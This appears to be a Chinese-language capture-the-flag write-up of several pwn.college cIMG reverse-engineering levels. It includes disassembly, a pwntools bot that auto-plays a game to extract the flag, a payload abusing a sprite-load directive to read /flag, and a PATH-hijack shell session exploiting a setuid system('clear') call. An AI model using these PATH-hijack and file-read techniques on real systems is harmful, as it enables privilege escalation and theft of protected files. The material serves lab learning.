│ │ ; CODE XREF from sym.handle_6 @ 0x401fd7(x)
│ └─> 0x00401fde 4883c410 add rsp, 0x10
│ 0x00401fe2 5d pop rbp
└ 0x00401fe3 c3 ret
; CALL XREF from main @ 0x401432(x)
┌ 121: sym.handle_7 (int64_t arg5);
│ `- args(r8) vars(4:sp[0x10..0x24])
│ 0x00401e91 f30f1efa endbr64
│ 0x00401e95 4883ec28 sub rsp, 0x28
│ 0x00401e99 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401e9d 31ff xor edi, edi ; int fildes
│ 0x00401e9f ba04000000 mov edx, 4 ; size_t nbyte
│ 0x00401ea4 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401ead 4889442418 mov qword [canary], rax
│ 0x00401eb2 31c0 xor eax, eax
│ 0x00401eb4 488d742404 lea rsi, [var_4h] ; void *buf
│ 0x00401eb9 488d0d5c13.. lea rcx, str.ERROR:_Failed_to_read_milliseconds_ ; 0x40321c ; "ERROR: Failed to read &milliseconds!" ; int64_t arg4
│ 0x00401ec0 e8b1f6ffff call sym.read_exact
│ 0x00401ec5 8b442404 mov eax, dword [var_4h]
│ 0x00401ec9 b9e8030000 mov ecx, 0x3e8 ; 1000
│ 0x00401ece 31d2 xor edx, edx
│ 0x00401ed0 31f6 xor esi, esi ; struct timespec *rem
│ 0x00401ed2 488d7c2408 lea rdi, [req] ; const struct timespec *req
│ 0x00401ed7 f7f1 div ecx
│ 0x00401ed9 89c0 mov eax, eax
│ 0x00401edb 4889442408 mov qword [req], rax
│ 0x00401ee0 69c240420f00 imul eax, edx, 0xf4240
│ 0x00401ee6 4889442410 mov qword [var_10h], rax
│ 0x00401eeb e8e0f2ffff call sym.imp.nanosleep ; int nanosleep(const struct timespec *req, struct timespec *rem)
│ 0x00401ef0 488b442418 mov rax, qword [canary]
│ 0x00401ef5 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401efe 7405 je 0x401f05
│ │ 0x00401f00 e8abf2ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_7 @ 0x401efe(x)
│ └─> 0x00401f05 4883c428 add rsp, 0x28
└ 0x00401f09 c3 ret

quest.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
class CIMG_NORMAL:
MAGIC = b"cIMG"
RENDER_FRAME = struct.pack("<H", 1)
RENDER_PATCH = struct.pack("<H", 2)
CREATE_SPRITE = struct.pack("<H", 3)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 5)
FLUSH = struct.pack("<H", 6)
SLEEP = struct.pack("<H", 7)

class CIMG_1337(CIMG_NORMAL):
MAGIC = b"CNNR"

class GraphicsEngine:
def __init__(self, width, height, cimg_version=4, cimg_ops=CIMG_1337):
self.num_sprites = 0
self.ops = cimg_ops
self.width = width
self.height = height
self.output = os.fdopen(1, 'wb', buffering=0)

self.output.write(
self.ops.MAGIC +
struct.pack("<H", cimg_version) +
bytes([width, height]) +
b"\xff\xff\xff\xff"
)

def render_frame_monochrome(self, lines, r=0xff, g=0xc6, b=0x27):
self.output.write(
self.ops.RENDER_FRAME +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def render_patch_monochrome(self, lines, x, y, r=0xff, g=0xc6, b=0x27):
assert all(b >= 20 and b <= 0x7e for b in b"".join(lines))
self.output.write(
self.ops.RENDER_PATCH +
bytes([x, y, len(lines[0]), len(lines)]) +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def create_sprite(self, lines, num=None):
if num is None:
num = self.num_sprites
self.num_sprites += 1

self.output.write(
self.ops.CREATE_SPRITE +
bytes([num, len(lines[0]), len(lines)]) +
b"".join(lines)
)
return num

def render_sprite(self, num, x, y, tile_x=1, tile_y=1, r=0x8c, g=0x1d, b=0x40, t=" "):
self.output.write(
self.ops.RENDER_SPRITE + bytes([num, r, g, b, x, y, tile_x, tile_y, ord(t)])
)

def flush(self, clear=True):
self.output.write(self.ops.FLUSH + bytes([clear]))

def sleep(self, ms):
self.output.write(self.ops.SLEEP + struct.pack("<I", ms))

def blank(self):
self.render_patch_monochrome([ b" "*self.width ]*self.height, 1, 1)
self.flush()

def animate_text(self, text, x, y, r=None, g=None, b=None, interval=20):
for i,c in enumerate(text):
self.render_patch_monochrome(
[bytes([ord(c)])], x+i, y,
r=random.randrange(128, 256) if r is None else r,
g=random.randrange(128, 256) if g is None else g,
b=random.randrange(128, 256) if b is None else b
)
self.flush()
self.sleep(interval)

class InputEngine:
# adapted from https://github.com/magmax/python-readchar/blob/master/readchar/_posix_read.py
@staticmethod
def readchar():
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
term = termios.tcgetattr(fd)
try:
term[3] &= ~(termios.ICANON | termios.ECHO | termios.IGNBRK | termios.BRKINT)
termios.tcsetattr(fd, termios.TCSAFLUSH, term)
return sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

def game():
w = 70
h = 20
x = random.randrange(w)
y = random.randrange(h)

victory = False

kb = InputEngine()
screen = GraphicsEngine(w, h, cimg_ops=CIMG_NORMAL if "NOFLAG" in sys.argv else CIMG_1337)
our_sprite = screen.create_sprite([ b"\\o/", b" ^ "])

screen.render_frame_monochrome([ b"#"*(w) ]*(h), r=255, g=255, b=255)
screen.render_patch_monochrome([ b" "*(w-2) ]*(h-2), 1, 1)
screen.flush()

screen.animate_text("WELCOME TO THE EPIC QUEST FOR THE FLAG", 4, 4)
screen.animate_text("INSTRUCTIONS:", 4, 10)
screen.animate_text("- w: UP", 4, 11)
screen.animate_text("- a: LEFT", 4, 12)
screen.animate_text("- s: DOWN", 4, 13)
screen.animate_text("- d: RIGHT", 4, 14)
screen.animate_text("- q: QUIT", 4, 15)
screen.animate_text("- l: LOOK", 4, 16)
screen.animate_text("YOUR GOAL: UNCOVER THE FLAG", 4, 17)
screen.animate_text("PRESS ANY KEY TO BEGIN", 8, 18)
if kb.readchar() in ("q", "\x03"):
return

screen.blank()

try:
if "NOFLAG" in sys.argv:
flag = b"TEST"
else:
flag = open("/flag", "rb").read().strip()
except FileNotFoundError:
flag = b"ERROR: /flag NOT FOUND"
except PermissionError:
flag = b"ERROR: /flag permission denied"

hidden_bytes = [ bytes([b]) for b in flag ][::-1]

hidden_x = random.randrange(w)
hidden_y = random.randrange(h)
revealed_bytes = [ ]

bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)

key = ""
while True:
# quit on q or ctrl-c
if key == "q" or key == "\x03":
break

# move
if key == "w": y = (y-1)%h
if key == "a": x = (x-1)%w
if key == "s": y = (y+1)%h
if key == "d": x = (x+1)%w

# check bomb
if bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
screen.blank()
screen.animate_text("~~~~~ BOOOOOOOOM ~~~~~~", x, y)
break

# uncover flag
if hidden_bytes and key == "l" and hidden_x in (x, x+1, x+2) and hidden_y in (y, y+1):
revealed_bytes.append([
hidden_x, hidden_y,
random.randrange(128, 256), random.randrange(128, 256), random.randrange(128, 256),
hidden_bytes.pop()
])
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
prev_hidden_x = hidden_x
prev_hidden_y = hidden_y
while hidden_x == prev_hidden_x and hidden_y == prev_hidden_y:
hidden_x = (bomb_x+random.randrange(w-1))%w
hidden_y = (bomb_y+random.randrange(h-1))%h

# render everyone
screen.blank()
correct_bytes = ''
for rx,ry,r,g,b,c in revealed_bytes:
screen.render_patch_monochrome([c], rx, ry, r=r, g=g, b=b)
correct_bytes += str(c.decode())
if hidden_bytes:
screen.render_patch_monochrome(
[b"?"], hidden_x, hidden_y,
r=random.randrange(256), g=random.randrange(256), b=random.randrange(256)
)
else:
try:
while True:
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y)
screen.animate_text("!!! CONGRATULATIONS, YOU DID IT !!!", 10, hidden_y + 1)
screen.animate_text(correct_bytes, 10, hidden_y + 2)
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y + 1)
except KeyboardInterrupt:
print(flag.decode(), file=sys.stderr) # Print decoded flag to stderr
break

screen.render_patch_monochrome([b"B"], bomb_x, bomb_y)
screen.render_sprite(our_sprite, x, y)
screen.flush()

key = kb.readchar()

if __name__ == "__main__":
game()

in quest.py

1
2
3
4
5
6
7
class CIMG_NORMAL:
MAGIC = b"cIMG"
# ...

class CIMG_1337(CIMG_NORMAL):
MAGIC = b"CNNR"

当不加 NOFLAG 参数运行游戏获取 Flag 时,程序使用的是 CIMG_1337 引擎。它生成的图像数据流,开头不再是标准的 "cIMG",而是 "CNNR"

而标准解析器 /challenge/cimg 里写死了这个判断:

1
2
3
4
if (strncmp(cimg.header.magic_number, "cIMG", sizeof(cimg.header.magic_number))) {
puts("ERROR: Invalid magic number!");
exit(-1);
}

patch the binary /challenge/cimg or

直接用 Python 的 pwntools 挂载 quest.py,接管它的 stdout 截获地图数据,运行 BFS(广度优先搜索)自动避开炸弹并寻找目标,然后向 stdin 注入最优按键。

  1. 不去处理图形界面,直接用 struct 解析 CNNR 字节流中的 Opcode。
  2. BFS 寻路计算出避开炸弹、走到 ? 旁边的最短路径序列。

Breadth-First Search(广度优先搜索)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import struct
import subprocess

from pwn import *


def solve(known_flag):
try:
# PTY 欺骗 termios,PIPE 保证二进制流纯净
p = process(
["/challenge/quest.py"],
stdin=process.PTY,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except Exception as e:
return known_flag

try:
p.recvn(12) # 魔数
except EOFError:
return known_flag

state = {
"px": -1,
"py": -1,
"hx": -1,
"hy": -1,
"bx": -1,
"by": -1,
"frame_flag": "",
}

def parse_frame():
state["px"] = state["bx"] = state["hx"] = -1
frame_chars = ""
saw_player = False

while True:
try:
# 超时阻断,防止卡在输入缓冲区死锁
if not p.can_recv(timeout=0.2):
return "TIMEOUT"

op_bytes = p.recvn(2)
if not op_bytes:
return False
op = struct.unpack("<H", op_bytes)[0]
except EOFError:
return False

if op == 1: # RENDER_FRAME
p.recvn(70 * 20 * 4)
elif op == 2: # RENDER_PATCH
px, py, pw, ph = struct.unpack("<BBBB", p.recvn(4))
pixels = p.recvn(pw * ph * 4)
if pw == 1 and ph == 1:
# 获取 RGB 和 字符
r_col, g_col, b_col, c = pixels[0], pixels[1], pixels[2], pixels[3]
if c == ord("?"):
state["hx"], state["hy"] = px, py
elif c == ord("B") and r_col == 0xff and g_col == 0xc6 and b_col == 0x27:
# 只有黄色 (255, 198, 39) 的 B 才是炸弹, Flag may be B
state["bx"], state["by"] = px, py
elif chr(c) not in (" ", "!", "#"):
frame_chars += chr(c)
elif op == 3: # CREATE_SPRITE
s_id, sw, sh = struct.unpack("<BBB", p.recvn(3))
p.recvn(sw * sh)
elif op == 4: # RENDER_SPRITE
num, r, g, b, px, py, tx, ty, tc = struct.unpack(
"<BBBBBBBBB", p.recvn(9)
)
if num == 0:
state["px"], state["py"] = px, py
saw_player = True
elif op == 6: # FLUSH (当前帧渲染完毕)
p.recvn(1)
if saw_player or "pwn.college" in frame_chars:
state["frame_flag"] = frame_chars
return True
elif op == 7: # SLEEP
p.recvn(4)
else:
return False

def get_best_move(px, py, hx, hy, bx, by):
"""BFS 最短路径寻路"""
queue = [(px, py, [])]
visited = set([(px, py)])
while queue:
cx, cy, path = queue.pop(0)

# 3x2 bounding box
if hx in (cx, cx + 1, cx + 2) and hy in (cy, cy + 1):
return path[0] if path else "l"

for key, dx, dy in [("w", 0, -1), ("s", 0, 1), ("a", -1, 0), ("d", 1, 0)]:
# Toroidal Map Wrapping
nx, ny = (cx + dx) % 70, (cy + dy) % 20
# boom here
if not (bx in (nx, nx + 1, nx + 2) and by in (ny, ny + 1)):
if (nx, ny) not in visited:
visited.add((nx, ny))
queue.append((nx, ny, path + [key]))
return "SOFTLOCK"

while True:
res = parse_frame()

if res == "TIMEOUT":
p.send(b" ")
continue

if not res:
p.close()
break

# 增量比对:只在提取进度超越已知记录时才打印
if state["frame_flag"] and len(state["frame_flag"]) > len(known_flag):
known_flag = state["frame_flag"]
print(f"[+] Extracted so far: {known_flag}")
if known_flag.endswith("}"):
p.close()
return known_flag

if state["px"] != -1 and state["bx"] != -1 and state["hx"] != -1:
move = get_best_move(
state["px"],
state["py"],
state["hx"],
state["hy"],
state["bx"],
state["by"],
)
if move == "SOFTLOCK":
print(
f"[*] Soft-lock detected at Target ({state['hx']:02d},{state['hy']:02d}). "
)
p.close()
return known_flag
p.send(move.encode())
return known_flag


if __name__ == "__main__":
print("START")
current_flag = ""
while True:
current_flag = solve(current_flag)

Okay, the previous level was embarrassing, but those sorts of bugs happen all the time! We fixed that issue in this level and, because we feel somewhat contrite about the bug, we’re giving you the flag again… in an animated cIMG! Good luck.

/challenge/cimg.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
case 6:
handle_6(&cimg);
break;
case 7:
handle_7(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

generate flag.cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
raw_flag_lines = subprocess.check_output(["/usr/bin/figlet", "-fascii9"], input=open("/flag", "rb").read()).split(b"\n")
max_line_length = max(len(line) for line in raw_flag_lines)
flag_lines = [ line.ljust(max_line_length) for line in raw_flag_lines ]

flag_pixels = [ ]
for y,line in enumerate(flag_lines):
for x,c in enumerate(line):
flag_pixels += [ (x, y, c) ]
random.shuffle(flag_pixels)

directives = [ ]
for p in flag_pixels:
directives += [ struct.pack("<HBBBBBBBB", 2, p[0], p[1], 1, 1, 0x8c, 0x1d, 0x40, p[2]) ]
directives += [ struct.pack("<HB", 6, 1) ]
directives += [ struct.pack("<HI", 7, 733_331) ] # milliseconds to wait

img = b"cIMG" + struct.pack("<HBBI", 4, max_line_length, len(flag_lines), len(directives)) + b"".join(directives)
with open("/challenge/flag.cimg", "wb") as o:
o.write(img)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import re
import struct
from pwn import *

def exploit():
binary_path = "/challenge/cimg"

flag_len = 59
payload = bytearray()

# 1. 极简 Header: Version 4, 画布大小 100x1, 2 个指令
payload += struct.pack("<4sHBBI", b"cIMG", 4, 100, 1, 2)

# 2. Directive 1 -> handle_5: 任意文件加载
payload += struct.pack("<H", 5) # Opcode 5
payload += struct.pack("<BBB", 1, flag_len, 1) # ID=1, Width=flag_len, Height=1
path = b"/flag".ljust(255, b"\x00") # 恶意路径,Null截断
payload += path

# 3. Directive 2 -> handle_4: 渲染到屏幕
# 参数: Opcode(4), ID(1), R(255), G(255), B(255), X(0), Y(0), RepeatX(1), RepeatY(1), Trans(0)
payload += struct.pack("<HBBBBBBBBB", 4, 1, 255, 255, 255, 0, 0, 1, 1, 0)

file_name = "exploit_payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
p = process([binary_path, file_name])
out = p.recvall(timeout=1).decode(errors="ignore")

if "ERROR" not in out:
clean_text = re.sub(r"\x1b\[.*?m", "", out)

if "pwn.college" in clean_text:
print(f"\n[+] Success Flag length: {flag_len}")
print(f"[*] Raw Flag: {clean_text.strip()}")
return
except Exception:
pass

print("[-] Exploit failed.")

if __name__ == "__main__":
exploit()

The extensibility of our cIMG directives list continues to amaze!

HINT: Keep the “Pondering PATH” level of Linux Luminarium in mind. It will be useful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
case 6:
handle_6(&cimg);
break;
case 7:
handle_7(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

r2 -A -q -c “pdf @ sym.handle_6; pdf @ sym.handle_7” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
            ; CALL XREF from main @ 0x40147d(x)
┌ 119: sym.handle_6 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(2:sp[0x10..0x11])
│ 0x00401fbb f30f1efa endbr64
│ 0x00401fbf 55 push rbp
│ 0x00401fc0 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401fc4 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x00401fc9 4889fd mov rbp, rdi ; arg1
│ 0x00401fcc 488d0d8712.. lea rcx, str.ERROR:_Failed_to_read_clear_ ; 0x40325a ; "ERROR: Failed to read &clear!" ; int64_t arg4
│ 0x00401fd3 31ff xor edi, edi ; int fildes
│ 0x00401fd5 4883ec10 sub rsp, 0x10
│ 0x00401fd9 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401fe2 4889442408 mov qword [canary], rax
│ 0x00401fe7 31c0 xor eax, eax
│ 0x00401fe9 488d742407 lea rsi, [var_7h] ; void *buf
│ 0x00401fee e8d3f5ffff call sym.read_exact
│ 0x00401ff3 e838f2ffff call sym.imp.geteuid ; uid_t geteuid(void)
│ 0x00401ff8 89c7 mov edi, eax ; int uid
│ 0x00401ffa e8e1f2ffff call sym.imp.setuid ; int setuid(int uid)
│ 0x00401fff 488d3d7212.. lea rdi, str.clear ; 0x403278 ; "clear" ; const char *string
; !!!
│ 0x00402006 e8e5f1ffff call sym.imp.system ; int system(const char *string)
; !!!
│ 0x0040200b 31f6 xor esi, esi
│ 0x0040200d 31c0 xor eax, eax
│ 0x0040200f 4889ef mov rdi, rbp ; int64_t arg1
│ 0x00402012 e843ffffff call sym.display
│ 0x00402017 488b442408 mov rax, qword [canary]
│ 0x0040201c 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00402025 7405 je 0x40202c
│ │ 0x00402027 e8b4f1ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_6 @ 0x402025(x)
│ └─> 0x0040202c 4883c410 add rsp, 0x10
│ 0x00402030 5d pop rbp
└ 0x00402031 c3 ret
; CALL XREF from main @ 0x401484(x)
┌ 121: sym.handle_7 (int64_t arg5);
│ `- args(r8) vars(4:sp[0x10..0x24])
│ 0x00401ee1 f30f1efa endbr64
│ 0x00401ee5 4883ec28 sub rsp, 0x28
│ 0x00401ee9 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401eed 31ff xor edi, edi ; int fildes
│ 0x00401eef ba04000000 mov edx, 4 ; size_t nbyte
│ 0x00401ef4 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401efd 4889442418 mov qword [canary], rax
│ 0x00401f02 31c0 xor eax, eax
│ 0x00401f04 488d742404 lea rsi, [var_4h] ; void *buf
│ 0x00401f09 488d0d0c13.. lea rcx, str.ERROR:_Failed_to_read_milliseconds_ ; 0x40321c ; "ERROR: Failed to read &milliseconds!" ; int64_t arg4
│ 0x00401f10 e8b1f6ffff call sym.read_exact
│ 0x00401f15 8b442404 mov eax, dword [var_4h]
│ 0x00401f19 b9e8030000 mov ecx, 0x3e8 ; 1000
│ 0x00401f1e 31d2 xor edx, edx
│ 0x00401f20 31f6 xor esi, esi ; struct timespec *rem
│ 0x00401f22 488d7c2408 lea rdi, [req] ; const struct timespec *req
│ 0x00401f27 f7f1 div ecx
│ 0x00401f29 89c0 mov eax, eax
│ 0x00401f2b 4889442408 mov qword [req], rax
│ 0x00401f30 69c240420f00 imul eax, edx, 0xf4240
│ 0x00401f36 4889442410 mov qword [var_10h], rax
│ 0x00401f3b e8d0f2ffff call sym.imp.nanosleep ; int nanosleep(const struct timespec *req, struct timespec *rem)
│ 0x00401f40 488b442418 mov rax, qword [canary]
│ 0x00401f45 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401f4e 7405 je 0x401f55
│ │ 0x00401f50 e88bf2ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_7 @ 0x401f4e(x)
│ └─> 0x00401f55 4883c428 add rsp, 0x28
└ 0x00401f59 c3 ret

in handle_6

1
2
3
4
0x00401ff3      call sym.imp.geteuid        ; 获取有效用户 ID (通常是拥有 SUID 的 root 或 flag 账户)
0x00401ffa call sym.imp.setuid ; 将实际用户 ID 设为有效用户 ID
0x00401fff lea rdi, str.clear ; 准备字符串 "clear"
0x00402006 call sym.imp.system ; 执行!

handle_6 里为动画清屏功能直接调用了 system("clear") with geteuid() & setuid()

如果需要清屏应该向终端发送 ANSI 转义序列(如 \x1b[2J\x1b[H

& 提示了 “Pondering PATH”,使用路径替换。

& system("clear") 并没有指定 /usr/bin/clear。Linux 就会去环境变量 $PATH 里从左到右依次搜索名为 clear 的可执行文件。

需要一个合法的 Version 4 Header,加上一个触发 handle_6 的指令。

1
2
3
4
5
6
7
8
9
10
11
12
import struct

# Header: "cIMG", version 4, width 1, height 1, 1 directive
payload = struct.pack("<4sHBBI", b"cIMG", 4, 1, 1, 1)

# Directive 6 (handle_6): opcode 6, 占位符参数 0
payload += struct.pack("<HB", 6, 0)

with open("trigger.cimg", "wb") as f:
f.write(payload)

print("[+] Trigger generated: trigger.cimg")

PATH 替换

1
2
3
4
5
6
7
8
9
10
11
12
13
hacker@reverse-engineering~unsafe-animations:~$ mkdir -p /tmp/arch_way
hacker@reverse-engineering~unsafe-animations:~$ echo '#!/bin/sh' > /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ echo 'cat /flag' >> /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ chmod +x /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ export PATH=/tmp/arch_way:$PATH
hacker@reverse-engineering~unsafe-animations:~$ which clear
/tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ /challenge/cimg trigger.cimg
^C
hacker@reverse-engineering~unsafe-animations:~$ python tmp.py
[+] Trigger generated: trigger.cimg
hacker@reverse-engineering~unsafe-animations:~$ /challenge/cimg trigger.cimg
pwn.college{**********************************************}

Often times, as feature bloat makes a software project more and more complicated, vulnerabilities slip in due to the interaction of too many moving parts. In the course of reverse engineering the software, reverse engineers will often spot such vulnerabilities.

This is one such scenario. Find and use the vulnerability in /challenge/cimg to get the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

r2 -A -q -c “pdf @ sym.handle_5” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
┌ 363: sym.handle_5 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(5:sp[0x30..0x133])
│ 0x00401a3e f30f1efa endbr64
│ 0x00401a42 4155 push r13
│ 0x00401a44 b903010000 mov ecx, 0x103 ; 259
│ 0x00401a49 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401a4d ba02010000 mov edx, 0x102 ; 258 ; size_t nbyte
│ 0x00401a52 4154 push r12
│ 0x00401a54 4989fc mov r12, rdi ; arg1
│ 0x00401a57 55 push rbp
│ 0x00401a58 53 push rbx
│ 0x00401a59 4881ec1801.. sub rsp, 0x118
│ 0x00401a60 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401a69 4889842408.. mov qword [canary], rax
│ 0x00401a71 31c0 xor eax, eax
│ 0x00401a73 488d7c2405 lea rdi, [var_5h]
│ 0x00401a78 488d742405 lea rsi, [var_5h] ; void *buf
│ 0x00401a7d f3aa rep stosb byte [rdi], al
│ 0x00401a7f 31ff xor edi, edi ; int fildes
